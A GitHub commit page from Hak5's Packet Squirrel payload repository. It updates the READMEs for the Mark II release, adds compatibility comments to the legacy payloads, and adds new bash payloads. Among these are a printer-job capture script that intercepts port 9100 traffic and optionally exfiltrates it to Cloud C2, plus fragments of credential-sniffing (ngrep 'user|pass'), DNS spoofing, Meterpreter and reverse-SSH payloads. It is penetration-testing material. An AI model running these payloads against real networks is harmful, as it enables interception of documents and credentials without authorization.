Skip to content

Commit

Permalink
Update repos for Packet Squirrel Mk 2 release
Browse files Browse the repository at this point in the history
  • Loading branch information
dragorn committed Jul 24, 2023
1 parent 2181bf8 commit d3250b4
Show file tree
Hide file tree
Showing 56 changed files with 731 additions and 7 deletions.
39 changes: 33 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,39 +1,63 @@

# Payload Library for the Packet Squirrel by Hak5

This repository contains payloads and extensions for the Hak5 Packet Squirrel. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads.
This repository contains payloads and extensions for the Hak5 Packet Squirrel, developed by the Hak5 Community.

Have a great payload? Submit it by forking the payload repository and submitting a pull request!A

Learn more about Github pull requests [here](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) or from the Hak5 Bash Bunny tutorial [here](https://www.youtube.com/watch?v=H6z9BXevsZg).

## Packet Squirrel Versions

The Packet Squirrel Mark II expands on the capabilities of the original Packet Squirrel, introducing new commands and more flexible networking configurations.

Payloads for the original Packet Squirrel can be found in the `legacy-mk1` directory. These payloads may not work without modification on the Packet Squirrel Mark II.

## About the Packet Squirrel

The Packet Squirrel by Hak5 is a stealthy pocket-sized man-in-the-middle.
The Packet Squirrel Mark II by Hak5 is a stealthy pocket-sized man-in-the-middle.

This Ethernet multi-tool is designed to give you covert remote access, painless packet captures, and secure VPN connections with the flip of a switch.

- [Purchase at Hak5](https://hak5.org/products/packet-squirrel "Purchase at Hak5")
- [Documentation](https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel "Documentation")
- [Documentation](https://docs.hak5.org/packet-squirrel-mark-ii "Documentation")
- [Forums](https://forums.hak5.org/forum/94-packet-squirrel/ "Forums")
- [Discord](https://hak5.org/discord "Discord")

![Packet Squirrel](https://cdn.shopify.com/s/files/1/0068/2142/products/Packet_Squirrel_300x.jpg)

## Updating

If you've downloaded this repository via `git`, you can update to the latest versions of the payloads with `git pull`. If you downloaded as a zip or other file, please download the latest from [github](https://github.com/hak5/packetsquirrel-payloads/).

## Disclaimer
Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution.

Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness or safety. As with any script, you are advised to proceed with caution.

## Legal

Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use.

## Contributing
Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.

Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publicly available.

Please adhere to the following best practices and style guide when submitting a payload.

Hak5 reserves the right to modify payloads to meet the guidelines when necessary, or to decline to include a payload in the public repository.

Please ensure that any default configuration values do not point to actual services! Do not include *your* passwords or login information in submitted payloads!

### Naming Conventions
Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.

Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be placed into its own directory, with `-` or `_` used in place of spaces, in one of the categories such as exfiltration, phishing, remote_access or recon. Please do not create your own category.

The payload itself should be named `payload`.

Additional files and documentation can be included in the payload directory. Documentation should be in `README.md` or `README.txt`.

### Comments

Payloads should begin with comments specifying at the very least the name of the payload and author. Additional information such as a brief description, the target, any dependencies / prerequisites and the LED status used is helpful.

# Title: Meterpreter-via-SSH
Expand All @@ -53,6 +77,7 @@ Payloads should begin with comments specifying at the very least the name of the
# Cyan Blink 1 Time - Meterpreter Successful

### Configuration Options

Configurable options should be specified in variables at the top of the payload.txt file

# Options
Expand All @@ -61,9 +86,11 @@ Configurable options should be specified in variables at the top of the payload.
MSF_PORT=31337

### LED

The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or `NETMODE`.

LED SETUP
NETMODE NAT

Common payload states include a `SETUP`, with may include a `FAIL` if certain conditions are not met. This is typically followed by either a single `ATTACK` or multiple `STAGEs`. More complex payloads may include a `SPECIAL` function to wait until certain conditions are met. Payloads commonly end with a `CLEANUP` phase, such as moving and deleting files or stopping services. A payload may `FINISH` when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to `LED` states.

75 changes: 75 additions & 0 deletions legacy-mk1/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
# Legacy payloads

These payloads are for the original Packet Squirrel device.

They may or may not run without modification on the Packet Squirrel Mark II.


## Payload Library for the Packet Squirrel by Hak5

This repository contains payloads and extensions for the Hak5 Packet Squirrel. Community developed payloads are listed and developers are encouraged to create pull requests to make changes to or submit new payloads.

## About the Packet Squirrel

The Packet Squirrel by Hak5 is a stealthy pocket-sized man-in-the-middle.

This Ethernet multi-tool is designed to give you covert remote access, painless packet captures, and secure VPN connections with the flip of a switch.

- [Purchase at Hak5](https://hak5.org/products/packet-squirrel "Purchase at Hak5")
- [Documentation](https://docs.hak5.org/hc/en-us/categories/360000982574-Packet-Squirrel "Documentation")
- [Forums](https://forums.hak5.org/forum/94-packet-squirrel/ "Forums")
- [Discord](https://hak5.org/discord "Discord")

![Packet Squirrel](https://cdn.shopify.com/s/files/1/0068/2142/products/Packet_Squirrel_300x.jpg)

## Updating
If you've downloaded this repository via `git`, you can update to the latest versions of the payloads with `git pull`. If you downloaded as a zip or other file, please download the latest from [github](https://github.com/hak5/packetsquirrel-payloads/).

## Disclaimer
Generally, payloads may execute commands on your device. As such, it is possible for a payload to damage your device. Payloads from this repository are provided AS-IS without warranty. While Hak5 makes a best effort to review payloads, there are no guarantees as to their effectiveness. As with any script, you are advised to proceed with caution.

## Legal
Payloads from this repository are provided for educational purposes only. Hak5 gear is intended for authorized auditing and security analysis purposes only where permitted subject to local and international laws where applicable. Users are solely responsible for compliance with all laws of their locality. Hak5 LLC and affiliates claim no responsibility for unauthorized or unlawful use.

## Contributing
Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available.

Please adhere to the following best practices and style guide when submitting a payload.

### Naming Conventions
Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote_access or recon. Do not create your own category.

### Comments
Payloads should begin with comments specifying at the very least the name of the payload and author. Additional information such as a brief description, the target, any dependencies / prerequisites and the LED status used is helpful.

# Title: Meterpreter-via-SSH
# Description: Covert meterpreter shell via overt SSH connection
# Author: Zappus
# Version: 1.0
# Category: Remote-Access
# Net Mode: NAT
# Firmware: 1.2
#
# LED State Descriptions
# Magenta Solid - Configuring NETMODE
# LED OFF - Waiting for BUTTON
# Red Blink 2 Times - SSH Connection Failed
# Amber Blink 5 Times - SSH Connection Successful
# Red Blink 1 Time - Meterpreter Failed
# Cyan Blink 1 Time - Meterpreter Successful

### Configuration Options
Configurable options should be specified in variables at the top of the payload.txt file

# Options
SSH_USER="username"
SSH_HOST="hostname"
MSF_PORT=31337

### LED
The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or `NETMODE`.

LED SETUP
NETMODE NAT

Common payload states include a `SETUP`, with may include a `FAIL` if certain conditions are not met. This is typically followed by either a single `ATTACK` or multiple `STAGEs`. More complex payloads may include a `SPECIAL` function to wait until certain conditions are met. Payloads commonly end with a `CLEANUP` phase, such as moving and deleting files or stopping services. A payload may `FINISH` when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to `LED` states.
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash

# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II

function run() {
LED STAGE1
SWITCH_POS=$(SWITCH)
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: FreeDaNutz

# Description: This payload will compress the loot folder and then send that file to a remote server via scp
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash

# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II

function scan() {
LED G
ifconfig wlan0 down
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
#!/bin/bash

# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II

LED STAGE1
NETMODE NAT

Expand Down
File renamed without changes.
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
# Title: Caternet
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Author: Hak5Darren
# Version: 1.0
# Description: Forwards all traffic to local webserver hosting cat photos.
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,7 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: DNSSpoof
# Description: Forge replies to arbitrary DNS queries using DNSMasq
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: IP Info
# Author: Hak5Darren
# Version: 1.0
Expand Down
File renamed without changes.
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: NMap Dump
# Description: Dumps NMap scan data to USB storage.
# Author: infoskirmish.com
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: Meterpreter-via-SSH
# Description: Covert meterpreter shell via overt SSH connection
# Author: Zappus
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: SSH Remote Management Tool for Packet Squirrel
# Description: Makes packet Squirrel directly accessible via SSH on a remote server
# Author: BlackPropaganda
Expand Down Expand Up @@ -85,4 +89,4 @@ uci commit autossh
LED ATTACK

# starting autossh
/etc/init.d/autossh start
/etc/init.d/autossh start
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: Togglable-VPN
# Description: Based on the default VPN payload; this can now create a VPN-connection to an OpenVPN-server,
# or if the button is pressed, send traffic from the clients through said tunnel.
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: OpenVPN
# Description: Create a connection to a VPN-connection to an OpenVPN-server. Optionally: Send traffic from the clients through said tunnel.
# Author: Hak5
Expand Down
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: iSpy Passive Intel Gathering

# Description: Launches various tools to sniff out intel data.
Expand Down
Original file line number Diff line number Diff line change
@@ -1,4 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# ngrep payload to snag creds

NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")
Expand Down
File renamed without changes.
Original file line number Diff line number Diff line change
@@ -1,5 +1,8 @@
#!/bin/bash
#
# This payload is for the original Packet Squirrel. It may not work on
# the Packet Squirrel Mark II
#
# Title: TCPDump
# Description: Dumps networking-data to USB storage. Completes on button-press or storage full.
# Author: Hak5
Expand Down
File renamed without changes.
File renamed without changes.
File renamed without changes.
53 changes: 53 additions & 0 deletions payloads/exfiltration/pcl_printer/payload
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
#!/bin/bash

# Title: PCL Printer Capture
# Description: Capture PCL IP printer jobs with a dynamic proxy
# Author: Hak5

# To convert PCL files to PDF, use a tool like GhostPCL:
# https://ghostscript.com/releases/gpcldnld.html
#
# To convert a stream (captured-file.stream) to PDF (printed.pdf), use something
# like:
# ./gpcl6-1000-linux-x86_64 -o printed.pdf -sDEVICE=pdfwrite captured-file.stream

# Do we automatically exfiltrate to Cloud C2? Uncomment to send files to your
# CloudC2 server automatically
#
# USE_C2=1

# By default, C2WATCHDIR removes files after they're sent. To keep them, uncomment
# C2_KEEP_FILES below
#
# C2_KEEP_FILES=1

LED SETUP

NETMODE NAT

# We have to have attached USB
USB_WAIT

# Make sure the directory exists
mkdir /usb/printer/

# If USE_C2 isn't empty, we're uploading to CloudC2
if [[ ! -z "$USE_C2" ]]; then
# If C2_KEEP_FILES is not empty, we want to preserve the
# files on USB, otherwise run C2WATCHDIR normally and delete
# the files after they are sent.
if [[ ! -z "$C2_KEEP_FILES" ]]; then
C2_KEEP_FILES=1 C2WATCHDIR /usb/printer/ &
else
C2WATCHDIR /usb/printer/ &
fi

# Give C2WATCHDIR a moment to sync any old files that were present
sleep 3
fi

LED ATTACK

# Use a dynamic proxy to MITM standard PCL IP printers
DYNAMICPROXY CLIENT /usb/printer/print_ 9100

32 changes: 32 additions & 0 deletions payloads/general/gatekeeper/payload
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
#!/bin/bash

# Title: Gatekeeper
#
# Description: Toggle access to the network with the pushbutton
# Author: Hak5

# Set the default network mode (such as NAT or BRIDGE)
NETWORK_MODE="BRIDGE"

NETMODE ${NETWORK_MODE}

LED G SOLID

while true; do
# Run the buttom command with no LED; this way the LED stays
# solid green
NO_LED=1 BUTTON

# Check the existing network mode; if we're not the right mode,
# send the target device to jail
if [ $(cat /tmp/squirrel_netmode) == "${NETWORK_MODE}" ]; then
LED R FAST
NETMODE JAIL
LED R SOLID
else
# Set the network mode back to our normal mode
LED G FAST
NETMODE ${NETWORK_MODE}
LED G SOLID
fi
done
Loading

0 comments on commit d3250b4

Please sign in to comment.